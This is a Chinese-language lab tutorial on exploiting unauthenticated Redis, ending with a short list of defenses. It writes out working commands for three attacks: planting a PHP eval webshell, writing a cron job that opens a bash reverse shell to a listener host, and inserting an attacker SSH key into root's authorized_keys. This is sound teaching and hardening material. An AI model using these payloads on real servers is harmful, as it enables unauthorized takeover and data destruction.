漏洞简介
Redis默认情况下会绑定在
0.0.0.0:6379
,这样会将Redis服务器暴露再公网上,如果在没有开启认证
(免密登录)的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis数据。配合上传公钥,可以直接远程SSH登录服务器。
影响版本
redis 2.x ,3.x ,4.x ,5.x
漏洞危害
1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
2、攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
3、 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
实验环境
Redis服务端:192.168.159.129
Redis客户端:192.168.159.133
redis 服务端
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
make install
redis-server 启动服务
查看服务
redis客户端
一、利用Redis写webshell
前提条件
1、Redis未授权,客户端可连接
2、开启web服务,知道绝对路径
config set dir /var/www/html
设置备份路径
set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
写入wehbshell
config set dbfilename webshell.php
更改文件名为webshell.php
save
保存
蚁剑连接
二、利用crontab反弹shell
开启监听 nc -lvnp 1234
写入任务计划,反弹shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.159.131/1234 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
三、写入SSH公钥,获得OS权限
生成公钥文件
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt 将公钥保存在key.txt中
连接靶机,将公钥写入
CONFIG GET dir 得到redis备份路径
config set dir /root/.ssh更改备份路径为ssh公钥存放路径(root/.ssh)
CONFIG SET dbfilename authorized_keys 设置上传备份公钥文件为authorized_keys
CONFIG GET dbfilename 查看是否修改成功,保存,退出
公钥连接登录
防御方法
1、Redis添加密码认证
2、禁止外网访问Redis(bind 127.0.0.1)
3、修改默认端口6379
4、阻止拥护添加新的公钥,authorized_keys文件400权限,锁定该文件
5、设置防火墙策略